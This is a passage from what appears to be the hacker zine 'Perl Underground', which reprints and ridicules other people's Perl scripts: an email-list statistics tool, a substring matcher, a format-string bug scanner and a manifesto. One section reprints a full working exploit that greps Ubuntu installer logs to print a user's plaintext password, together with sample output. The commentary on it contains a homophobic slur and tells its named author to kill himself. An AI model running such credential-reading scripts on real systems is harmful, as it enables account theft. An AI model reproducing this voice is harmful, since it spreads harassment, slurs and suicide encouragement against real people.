# Need to check for footers and Sigs and stuff
if (/^__________________________________________________$/) {
# must it all be STDERR? Is it all so error filled?!
print STDERR "Possible Footer\n" if ($opt_D > 1);
$footer++;
} elsif ($footer and /^Do You Yahoo!\?$/) {
print STDERR "Yep, its a Yahoo footer, Skipping to next Message\n"
if ($opt_D > 1);
next MESSAGE;
} elsif (/^-----BEGIN PGP SIGNED MESSAGE-----$/) {
print STDERR "PGP Signed Message\n" if ($opt_D > 1);
print STDERR "PGP::$who $_" if ($opt_D > 4);
$PGP++;
next LINE;
} elsif ($PGP and /^Hash: (\w+)$/) {
print STDERR "PGP Hash Type ($1)\n" if ($opt_D > 1);
print STDERR "PGP::$who $_" if ($opt_D > 4);
next LINE;
} elsif (/^-----BEGIN PGP SIGNATURE-----$/) {
print STDERR "Begin PGP Signature\n" if ($opt_D > 1);
print STDERR "PGP::$who $_" if ($opt_D > 4);
$PGPsig++;
next LINE;
} elsif ($PGPsig and ! /^-----END PGP SIGNATURE-----$/) {
print STDERR "PGP::$who $_" if ($opt_D > 4);
next LINE;
} elsif ($PGPsig and /^-----END PGP SIGNATURE-----$/) {
print STDERR "END PGP Signature\n" if ($opt_D > 1);
print STDERR "PGP::$who $_" if ($opt_D > 4);
$PGPsig--;
next LINE;
}
#####################################
$lines++;
if ( ! m/^[ \t]*$|^[ \t]*[>:]/ ) {
$new_lines++;
if ($new_lines > 1 and !$quotes) {
$toppost++;
} elsif ($quotes and $toppost) {
$toppost = 0;
}
if ($opt_u) {
if (/(https?\:\/\/\S+)/) {
# Leaning Toothpick Syndrome takes another innocent child
my $site = #1;
chomp $site;
$site =~ s/[\>\.\)]*$//;
$sub =~ s/^re\:\s//i;
# small steps, small steps!
$sub =~ s/^\[[\w\-\d\:]+\]\s//i;
if ($site =~ /(yahoo|msn|hotjobs|hotmail|your\-name|pgp|excite)\.com\/?$/
or $site =~ /(promo|click|docs)\.yahoo\.com/
or $site =~ /(explorer|messenger|mobile)\.msn\.com/
or $site =~ /mailman\/listinfo\/$sto$/
or $skipped{$site}) {
$skipped{$site}++;
print STDERR "Skipping $site ($skipped{$site})\n"
. " - from message '$sub'\n - from $who\n\n"
if ($opt_D > 1);
} else {
if (!$urls{$site}) {
print STDERR "Adding $site\n from message '$sub'\n from $who\n\n"
if ($opt_D > 1);
$contrib{$who}++;
$urls{$site} = $sub;
push @{$url_list{$sub}}, $site;
} else {
print STDERR "Skipping (duplicate) $site\n from message '$sub'\n from $who\n\n"
if ($opt_D > 1);
}
}
}
}
print STDERR "NEW($new_lines, $lines) $_" if ($opt_D > 2);
} else {
print STDERR "QUOT($lines) $_" if ($opt_D > 2);
$quotes++;
}
}
$tracker{$msgid} = $who;
if ($replyto and $tracker{$replyto}) {
$replyto{$tracker{$replyto}}++;
print STDERR "Replying to: $tracker{$replyto} ($replyto{$tracker{$replyto}})\n"
if ( $opt_D > 1 );
} elsif ($replyto) {
print STDERR "Replying to: Unknown Reference\n"
if ( $opt_D > 1 );
}
if ($references) {
# seriously what's with the spagetti code
# look at it
# all over the place
# messing with vars everywhere
# how do you debug this shit?
# why not call some subroutines
# or SOMETHING
my $rmsgidc = 1;
RMSGID: foreach my $rmsgid ( split("\n", $references) ) {
next RMSGID unless ( $rmsgid );
print STDERR "Reference MSGID ($rmsgidc): $rmsgid\n"
if ($opt_D > 1);
if ($rmsgid ne $replyto and $tracker{$rmsgid}) {
$replyto{$tracker{$rmsgid}}++;
print STDERR "Referencing ($rmsgidc): $tracker{$rmsgid} ($replyto{$tracker{$rmsgid}})\n"
if ( $opt_D > 1 );
} elsif ($tracker{$rmsgid}) {
print STDERR "Referenced In-Reply-To Duplicate ($rmsgidc): $tracker{$rmsgid} ($replyto{$tracker{$rmsgid}})\n"
if ( $opt_D > 1 );
} else {
print STDERR "Referencing ($rmsgidc): Unknown Reference\n"
if ($opt_D > 1);
# fuck make up your mind and not compare that for everyone, compare earlier
}
$rmsgidc++;
}
}
if ($new_lines * 10 < $lines - $new_lines and !$html) {
$html++;
$bad++;
# just what I was thinking!
print STDERR "$sub) New lines ($new_lines) is less that 10% of quoted lines("
. ($lines - $new_lines) . ") by $who\n" if ($opt_D);
} elsif (!$html and $toppost and $quotes) {
$html++;
$bad++;
print STDERR "$sub) Top Post from $who\n" if ($opt_D);
}
for my $line ($body->signature) {
print STDERR "SIG::$who => $line\n" if ($line !~ /^\s*$/ and $opt_D > 2);
}
$count{$who}++;
$lines{$who} += $lines;
$new_lines{$who} += $new_lines;
$html{$who} += $html;
$counter++;
if ($html{$who} > $count{$who}) { die "ERROR: Bad Mails outnumbers Total Mails\n" }
}
print STDERR '-' x 75 . "\n" if ($opt_D);
$msgc++;
}
print "Removing temporary mailbox\n" if ($opt_v and $tmpbox);
unlink($mailbox) if ($tmpbox);
# remove(parens) where(unnecessary);
if ( $opt_L ) {
print "Sorting by total number of lines sent\n" if ($opt_v);
@keys = sort {
$lines{$b} <=> $lines{$a} || $a cmp $b
} keys %lines;
} elsif ( $opt_N ) {
print "Sorting by total number of new lines sent\n" if ($opt_v);
@keys = sort {
$new_lines{$b} <=> $new_lines{$a} || length($b) <=> length($a) || $a cmp $b
} keys %new_lines;
} elsif ( $opt_G ) {
print "Sorting by total number of noise sent\n" if ($opt_v);
@keys = sort {
($lines{$a} / $new_lines{$a}) <=> ($lines{$b} / $new_lines{$b})
} keys %count;
} else {
print "Sorting by total number of emails sent\n" if ($opt_v);
@keys = sort {
$count{$b} <=> $count{$a} || length($b) <=> length($a) || $a cmp $b
} keys %count;
}
&load_formats;
# boo
die $@ if $@;
# geez just a little late don't you think
# same shit different section
print '-' x 75 . "\n" if ($opt_v);
print "count $VERSION by MadHat\@unspecific.com - [[|%^)\n--\n\n"
if ($opt_v);
print "Total emails checked: $count2\n" if ($opt_v);
print "Start Date: " . UnixDate($date1, "%b %e, %Y") . "\n"
if ($opt_f);
print "End Date: " . UnixDate($date2, "%b %e, %Y") . "\n"
if ($opt_f or $opt_t);
print "Total emails matched: $counter\n" if ($counter != $count2);
print "Total emails from losers: $bad\n" if ($bad and $opt_l);
$number = keys %count;
print "Total Unique Entries: $number\n";
$max_count = $opt_m?$opt_m:50;
for $id (@keys) {
$perc = $loser = 0;
$replyto{$id} = $replyto{$id}?$replyto{$id}:'0';
$current_number++;
last if ($current_number > $max_count);
$perc = $new_lines{$id} / $lines{$id} * 100 if ($lines{$id});
$loser = $html{$id} / $count{$id} * 100 if ($html{$id} > 0);
write;
}
if ($opt_u) {
print "\n--\n\n";
print "Contributers URLs\n";
print "------------ ----\n";
for (sort {$contrib{$b} <=> $contrib{$a}} keys %contrib) {
$contribc++;
printf "%2d) %-35s %3d\n", $contribc, $_, $contrib{$_};
}
print "\nURLs Found\n-------------\n";
for (sort keys %url_list) {
print "$_\n";
for $URL (@{$url_list{$_}}) {
print " $URL\n";
}
print "\n";
}
}
print "</pre>\n" if ($opt_H);
0;
# 0? 0? 0!! 1; 1!
#---------------------------------------
# get these up, up up up!
sub usage {
print "count - $VERSION - The email counter by: MadHat<madhat\@unspecific.com>\n
$0 <-e|-d|-s> [-ENLGTlu] [-m#] [-f <from_date> -t <to_date>] <mailbox | http://domain.com/archive/mailbox>\n"
. "\t-h Full Help";
print " (not just this stuff)" if (!$opt_h);
print "\n\t-e email address\n"
. "\t-d count domains\n"
. "\t-s count suffix (.com, .org, etc...)\n"
. "\t-l Add loser rating\n"
. "\t-T Add troll rating\n"
. "\t-u Add list of URLs found in the date range\n"
. "\t-v Verbose output (DEBUG Output)\n"
. "\t-E sort on emails (DEFAULT)\n"
. "\t-L sort on total lines\n"
. "\t-N sort on numer of NEW lines (not part of reply)\n"
. "\t-G sort on Garbage (quoted lines)\n"
. "\t-m# max number of entries to show\n"
. "\t-fmm/dd/yyyy From date. Start checking on this date [01/01/1970]\n"
. "\t-tmm/dd/yyyy To date. Stop checking after this date [today]\n"
. "\t<mailbox> is the mailbox to count in...\n\n";
# quote this shit
if ($opt_h) {
print "
'count' will open the disgnated mailbox and sort through the emails counting
on the specified results.
-e, -d or -s are required as well as a mailbox. All other flags are optional.
-e will count on the whole email address
-d will count only on the domain portion of the email (everything after the \@)
-s will count on the suffix (evertthing past the last . - .com, .org...)
Present reporting fields include the designated count field (see above),
Total EMails Posted, Total Lines Posted, Total New Lines and Sig/Noise Ratio.
- Total EMails Pasted is just that, the total number of emails posted by
that counted field.
- Total Lines Posted is the total number of messages lines, not including
any header fields, posted by that counted field.
- Total New Lines is the total number of lines. not including any header
fields, that are not part of a reply ot forward. The way a line is
determined to be new line, is that it is not started by one of the common
characters for replied lines, > | # : or <TAB>.
WARNING: This is not accurate on some email client (some MS Clients) because
they do not properly attribute lines in replies.
- Sig/Noise Ratio is the % of new info as compaired to total lines posted.
This is calculated by taking the total new lines, deviding it by the total
number of lines and multiplying by 100 (for percentage).
Other Options:
The default sort order is by Total Number of Emails (-E), but you can also
sort by other fields:
-L to sort on total number of Lines posted.
-N to sort on total number of New Lines posted.
-G to sort on Garbage. Garbage is the number of non-new lines.
By default the maximum number of counted fields shown is 50. This can be
changed with the -m flag.
By default the date range is from January 1, 1970 through 'today'. You can
specify a date range using the -f and -t options
-f From date. Format is somewhat forgiving, but recomended is mm/dd/yyyy
-t To date. This is the date to stop on. Same for format as above.
-u Add list of URLs found in the date range
create a list of URLs found, with Subject of the email listed for each URL
-l Add loser rating. I added this because I use this on mailing lists.
Most mailing lists I am on, consider it bad to post HTML or attachments
to the list, so this counts the number of HTML posting and attachments
(other than things like PGP Sigs) and generates a number from 0 to 100
which is the % of the mails that fall into this catagory.
-T Add Troll rating. I added this because some lists didn't have any
obvious losers ;^) and didn't want to leave those lists out.
This is simply the number of emails referencing a previous email
The information is gathered from the 'In-Reply-To' and
'Reference' headers.
";
}
exit;
}
sub load_formats {
$flt0 = "format STDOUT_TOP =";
$flt2 = " Address EMails Lines New S/N ";
$flt3 = " Posted Posted Lines Ratio";
$flt4 = ".";
$fl0 = "format STDOUT = ";
$fl1 = "@>> @<<<<<<<<<<<<<<<<<<<<<<<<<<< @>>>> @>>>> @>>>>> @## ";
$fl2 = "\$current_number, \$id, \$count{\$id}, \$lines{\$id},\$new_lines{\$id}, \$perc";
$fl3 = ".";
# formats, and stored like this too, what a gift of 'who the fuck thinks of this'
if ($opt_l) {
print "Displaying Loser Ratings\n" if ($opt_v);
$flt2 .= " L ";
$fl1 .= " @## ";
$fl2 .= ", \$loser";
# Guess what, in Perl we also have arrays. Would you believe it? Use them
}
if ($opt_T) {
print "Displaying Troll Ratings\n" if ($opt_v);
$flt2 .= " T ";
$fl1 .= "@>>>> ";
$fl2 .= ", \$replyto{\$id}";
}
$format = join ("\n", $flt0, $flt1, $flt2, $flt3, $flt4, $fl0, $fl1, $fl2, $fl3);
# arrays would have saved some typing here
eval $format;
}
# Do you think I'm an asshole? For putting bad++ everywhere, half the time not
# even explaining it? Well fuck you! You should be grateful we don't rip apart
# every line. Be thankful we didn't do that through this entire script!
# You fuckers probably don't realize how much shit I let go.
-[0x14] # School You: Grandfather ----------------------------------------
use strict;
use warnings;
use Time::HiRes;
use List::Util qw(min max);
my $allLCS = 1;
my $subStrSize = 8; # Determines minimum match length. Should be a power of 2
# and less than half the minimum interesting match length. The larger this value
# the faster the search runs.
if (@ARGV != 1)
{
print "Finds longest matching substring between any pair of test strings\n";
print "the given file. Pairs of lines are expected with the first of a\n";
print "pair being the string name and the second the test string.";
exit (1);
}
# Read in the strings
my @strings;
while (<>)
{
chomp;
my $strName = $_;
$_ = <>;
chomp;
push @strings, [$strName, $_];
}
my $lastStr = @strings - 1;
my @bestMatches = [(0, 0, 0, 0, 0)]; # Best match details
my $longest = 0; # Best match length so far (unexpanded)
my $startTime = [Time::HiRes::gettimeofday ()];
# Do the search
for (0..$lastStr)
{
my $curStr = $_;
my @subStrs;
my $source = $strings[$curStr][1];
my $sourceName = $strings[$curStr][0];
for (my $i = 0; $i < length $source; $i += $subStrSize)
{
push @subStrs, substr $source, $i, $subStrSize;
}
my $lastSub = @subStrs-1;
for (($curStr+1)..$lastStr)
{
my $targetStr = $_;
my $target = $strings[$_][1];
my $targetLen = length $target;
my $targetName = $strings[$_][0];
my $localLongest = 0;
my @localBests = [(0, 0, 0, 0, 0)];
for my $i (0..$lastSub)
{
my $offset = 0;
while ($offset < $targetLen)
{
$offset = index $target, $subStrs[$i], $offset;
last if $offset < 0;
my $matchStr1 = substr $source, $i * $subStrSize;
my $matchStr2 = substr $target, $offset;
($matchStr1 ^ $matchStr2) =~ /^\0*/;
my $matchLen = $+[0];
next if $matchLen < $localLongest - $subStrSize + 1;
$localLongest = $matchLen;
my @test = ($curStr, $targetStr, $i * $subStrSize, $offset, $matchLen);
@test = expandMatch (@test);
my $dm = $test[4] - $localBests[-1][4];
@localBests = () if $dm > 0;
push @localBests, [@test] if $dm >= 0;
$offset = $test[3] + $test[4];
next if $test[4] < $longest;
$longest = $test[4];
$dm = $longest - $bestMatches[-1][4];
next if $dm < 0;
@bestMatches = () if $dm > 0;
push @bestMatches, [@test];
}
continue {++$offset;}
}
next if ! $allLCS;
if (! @localBests)
{
print "Didn't find LCS for $sourceName and $targetName\n";
next;
}
for (@localBests)
{
my @curr = @$_;
printf "%03d:%03d L[%4d] (%4d %4d)\n",
$curr[0], $curr[1], $curr[4], $curr[2], $curr[3];
}
}
}
print "Completed in " . Time::HiRes::tv_interval ($startTime) . "\n";
for (@bestMatches)
{
my @curr = @$_;
printf "Best match: %s - %s. %d characters starting at %d and %d.\n",
$strings[$curr[0]][0], $strings[$curr[1]][0], $curr[4], $curr[2], $curr[3];
}
sub expandMatch
{
my ($index1, $index2, $str1Start, $str2Start, $matchLen) = @_;
my $maxMatch = max (0, min ($str1Start, $subStrSize + 10, $str2Start));
my $matchStr1 = substr ($strings[$index1][1], $str1Start - $maxMatch, $maxMatch);
my $matchStr2 = substr ($strings[$index2][1], $str2Start - $maxMatch, $maxMatch);
($matchStr1 ^ $matchStr2) =~ /\0*$/;
my $adj = $+[0] - $-[0];
$matchLen += $adj;
$str1Start -= $adj;
$str2Start -= $adj;
return ($index1, $index2, $str1Start, $str2Start, $matchLen);
}
-[0x15] # krissy gonna cry -----------------------------------------------
#!/usr/bin/perl -w
use warnings;
use strict;
# You fucking moron. -w and warnings. what do you really think -w means?
##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606
##############################################################################
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin ;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";
# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";
print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{
print "Yes\nNow checking if readable...";
if ( -r $file1 )
{
getinfo($file1);
}
else
{
if ( -r $file2 ) {
getinfo($file2);
}
else {
print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
exit(-2);
}
}
}
else
{
print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
exit(-1);
}
sub getinfo {
my $fn = shift;
print "Yes\nHere come the details...\n\n";
# like Perl doesn't have stuff to do this? Sure does! Whore!
# make it a bash script, no reason not to
my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
# you dipshit. first off all, drop the parens
# secondly, you could chomp above
# thirdly, you're just chomping only to add a \n in your print anyways
chomp($realname);
chomp($user);
chomp($pass);
print "Real Name: $realname\n";
print "Username: $user\n";
print "Password: $pass\n";
}
# hope you don't mind that I added some POD
# thought this could really use some quality documentation
=head1 NAME
undetermined
=head1 DESCRIPTION
This script provides easy functionality for an otherwise easy task
=head1 EXAMPLE
krissy@fluffy:~/exploits$ perl hermansen.pl
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool
99% effective, thank your local admin ;-)
FOR EDUCATIONAL PURPOSES ONLY!!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Checking if an exploitable file exists...Yes
Now checking if readable...Yes
Here come the details...
Real Name: krissy
Username: krissy
Password: password
krissy@fluffy:~/exploits$
=head1 SYNOPSIS
Please, some body call the National Security Agency; we have an elite
hacker on our hands! My fucking Lord, where do I start? This has got
to be one of the worse cases of obsessive compulsive scene-whoreism
that I've ever had the unfortunate displeasure of gouging my eyeballs
out over. Which backwater, degenerate, sweaty ass crack of a whitehat
network did you crawl out of? Are you honestly proud of this amateur
pile of shit? How were you able to write this without having a fucking
epileptic seizure?
You need to keep your bloated ego in check, maggot. Not only do you
include your name at the top of this script, but you also assault the
user's ocular receptors with it when said script is run. Oh, and not
to mention the cute little wink and the "ZOMG FOR EDUCATIONAL PURPOSES
ONLY!!!11oneone OMGWTFBBQURMOMLOLLERCOSTER!!!!" tag. What the fuck is
this shit? One, you know god damned well that if a person wants to use
your "script" for purposes other than those which are educational, they
god damned well will! Two, don't act like this is a fucking remotely
exploitable hole in the fucking Linux kernel; all it does is read a
fucking text file, for Christ's sake! Congratulations, you've coded
a text editor! You may just be skilled enough to move on to Windows.
What's worse is not the fact that you wrote a mediocre "script" for a
hole that my fucking grandmother could exploit in her sleep, but the
fact that you didn't even discover it! You read a post on a forum about
a couple of files that may contain a plaintext version of a user name
and password, and you decided to write a "script" to take advantage of
it! How fucking elite! Because we all know how fucking hard it is to
us the "cd" and "grep" commands to find our way to that information on
our own; we need a godlike, uptight prick such as yourself to guide us.
You're not a hacker. You're not a programmer. You're not a Linux guru.
What are you, then? You're a scene whore and script kiddy, plain and
simple. You have no skill, so you hopelessly jump at every worthless,
little opportunity that you are provided with to make it look as though
you know what the fuck you're doing. In reality, though, you're just a
naive little bitch who couldn't find your way out of a paper bag with
a bottle of kerosene and a fucking flamethrower. You lose at life, you
incompetent fuckwad. Cut off your tiny, prepubescent balls and turn 'em
in; the gene pool doesn't want you. Feel free to kill yourself, faggot.
mUrd3r/Su1c1d3 j00 fUck1nG n00b; j00 4r3 n07 n30! 0h n03z!!!oneone!1
+---------------------------------------------------------+
| PERL UNDERGROUND - CHOOSE LIFE, CHOOSE HAX, CHOOSE PERL |
+---------------------------------------------------------+
=head1 AUTHOR
Kristian Hermansen
=cut
-[0x16] # We Found nemo --------------------------------------------------
#!/usr/bin/perl
# <nemo> you're in it?
# <nemo> :o
# and so are you! welcome to the exclusive club!
# thanks for finally getting out of your comfort zone
# and giving us this to poke fun at!
# nice effort nemo!
use strict;
# strict? whoa, never thought I'd see that here!
my $line = ();
my @args = ();
my $filename = ();
# you realize you don't need to define empty values, right?
# and that you could one-line that, right?
# then again, you don't need to define these here anyways, right?
# so might as well waste more characters, right?
@ARGV or die "[-] usage: $0 <filename>\n";
my %functions = (
# :: fmt name :: fmt # ::
"printf" => 1 ,
"fprintf" => 2 ,
"sprintf" => 2 ,
"snprintf" => 3 ,
"asprintf" => 2 ,
"vprintf" => 2 ,
"vfprintf" => 2 ,
"vsprintf" => 3 ,
"vanprintf" => 2 ,
"warn" => 2 ,
"warnx" => 1 ,
"err" => 2 ,
"errc" => 3 ,
"errx" => 2 ,
"verr" => 2 ,
"verrc" => 3 ,
"verrx" => 2 ,
"vwarn" => 1 ,
"vwarnc" => 2 ,
"vwarnx" => 1 ,
"syslog" => 2 ,
"vsyslog" => 2 ,
"ssl_log" => 3 ,
"dropbear_close" => 1,
"dropbear_exit" => 1,
"dropbear_log" => 2,
"dropbear_trace" => 1,
"LogMsg" => 1,
"ReportStatus" => 2
);
# :: :: ::
print "[ $0 ] - by -( nemo\@felinemenace.org )-\n\n";
# The best part of your script
# Shows where your priorities are
sub find_custom()
{
for $filename(@ARGV) {
open(SOURCEFILE,'<',$filename) or die "[-] Error opening $filename.\n";
# Don't you know 'or' is less tightly binding than '||', thus removing the need for those brackets?
for $line(<SOURCEFILE>){
if($line =~ /.+\s(.+?)\(.*?,.+?fmt/) {
# ooh, now that's user friendly
# definitely the best way to solve this problem!
}
}
close(SOURCEFILE);
# you really like your parens!
}
}
for $filename(@ARGV) {
# wouldn't it be neat to define $filename here instead of up there at the top?
open(SOURCEFILE,'<',$filename) or die "[-] Error opening $filename.\n";
my ($s, $count) = ();
# gotta love unnecessary declarations
for $line(<SOURCEFILE>){
$count++;
# we have a builtin variable for that
for(keys(%functions)) {
# mmm parens
if($line =~ /([\s};]$_[\s;}]*?\()/smg) {
# oh yeah, the g modifier is used so timely
# considering you're breaking on newlines, s *and* m might not be what you want ;p
chomp $line;
$s = $1;
# love how you use baby steps
# keepin' it simple, don't want to jump too far into high level coding
# here comes the fun regex!
$s =~ s/([\!-\@\\])/\\$1/;
$line =~ s/$s//;
next if ($line !~ /\)/);
$line =~ s/(.*)\).+?$/$1/;
@args = split(/\s*?,\s*?/,$line);
# Definitely needed @args to have such a broad scope
next if ($args[$functions{$_}-1] =~ /^\s+$/) or
$args[$functions{$_}-1] eq undef;
# couldn't think of a single option way to get that?
next if ($args[$functions{$_}-1] =~ /\"/);
if($args[$functions{$_}-1] !~ /^\s*?\".+?\"\s*?$/sg) {
print "[*] Possible error in [ $filename ] at line: $count\n";
print "[*] Function: $_.\n";
print "[*] Argument ",$functions{$_}," : [ ",$args[$functions{$_}-1]," ]\n";
# print "[*] Hex: [ ",unpack("H*",$args[$functions{$_}-1])," ].\n";
# you know how to use unpack? man I'm almost impressed
# oh wait thats commented out...
print "\n";
}
}
}
}
close(SOURCEFILE);
}
# <PerlUnderground> perlbot be nemo
# <perlbot> <nemo> WHY USE PEARL!? C IS FASTAR?!?!?
-[0x18] # Manifesto ------------------------------------------------------
Let's calm down for a moment and discuss this like adults. Mostly we
haven't shown much respect on our side. Like talking to your young
children, you tell them how it is, and there is no question of
authority. Just now, and only now, we're going to plead with you, man
to man, as equals.
Do you know many Perl programmers? I don't just mean that in the sense
that they know some Perl, like your level of Perl. I mean good Perl
programmers. Someone with the honour of being good enough to avoid this
zine by merit. Do you know professional Perl programmers? Are you
familiar with the Perl community? Have you worked on a development team
for a Perl project? If not, let me tell you a bit about it, as a whole.
Perl programmers, on average, are old. Older than most people as well
versed in computers. They have a depth of experience that just isn't
shared with the hacking world. They stay with Perl. They have an
appreciation for quality and practicality.
I hope I'm getting something of an accurate image out. There is a
massive variety of Perl programmers, but like any other group, as a
whole they share certain attributes. As a whole more attributes are
prevalent enough to be expressed as stereotypes. One of these
attributes is that Perl programmers are very whitehat. They like to
code quality programs and get paid for their work. They don't like
having their programs broken or embarrassed. They don't like the
necessary evil of spending time securing their programs. As programmers
and not often hackers, due to these aspects they build a dislike for
those seeking to break. They are productive and dislike the destructive.
Circumstances put them and you in opposite corners. Freenode #perl will
not tolerate questions on building exploits with Perl, no matter the
reasoning given. They'll assume the worst, that ultimately you will
only have destructive uses for your knowledge.
My point is this: They have no respect. No matter your standing among
others of your sort, no matter what exploits or tools or reputation.
They don't care. The Perl community, as a whole, feels fine considering
the hacking community a group of script kiddies.
And why shouldn't they? Take a step back and look at it as a person who
can see both sides. All the Perl code they have seen from you is of
very low quality. You look horrible. You embarass me. Your best and
brightest are jokes of incompetence and arrogance. If you, the bad puns
of the Perl Underground zine are the pride of hacking communities
everywhere, wouldn't any decent Perl programmer come to the conclusion
that the average hacker is so much more of a moron, barely able to
string coherent sentences together, and not worth the time of an
experienced Perl coder? Perl programmers give the impression of being
serious professionals, you give off the impression of being ignorant
teenagers who have neither refined talents nor the patience to write
smart code.
Do you think that's unfair? Do you think you deserve better? Do you
think you're smart, skilled, experienced, and misunderstood? Then show
it. Write good Perl code. Examine your coding logic. Get help from real
Perl programmers. Only publish your code to an audience when its ready.
Make the Perl community question itself. Give them another realistic
option. They are logical and fair, but as it is they can only conclude
that you're a bunch of script kiddies. Stop fucking around. Grow up.
-[0x19] # Shoutz and Outz ------------------------------------------------
WE WANT V
WE WANT V
It has come to our attention that some people have made the mistake of
assuming that Perl Underground is affiliated with the .aware network.
It appears that the masses had mostly found the text after a copy had
been uploaded to the .aware network's anonymous FTP server, leading to
this confusion. To clarify, we are not .aware crew and we are not
affiliated with .aware. Nobody at .aware can code Perl, but shouts to
them anyways. You don't have to code Perl to be cool shit, but it sure
helps.
Watch out for Perl Underground 3. By the time this gets out publicly we
will have more than enough material to get started. We'll be sure to
save some space for applicants. Better start bracing yourselves now.
This one is going to hurt.
Shouts to #perl's everywhere and Perl hackers everywhere.
Shouts to kaneda, the one who took it with grace.
<kaneda> good read though
DAMN RIGHT
___ _ _ _ _ ___ _
| _ | | | | | | | | | | | |
| _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| |
| | -_| _| | | | | | . | -_| _| | | _| . | | | | . |
|_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___|
Forever Abigail
$_ = "\x3C\x3C\x45\x4F\x46\n" and s/<<EOF/<<EOF/ee and print;
"Just another Perl Hacker,"
EOF
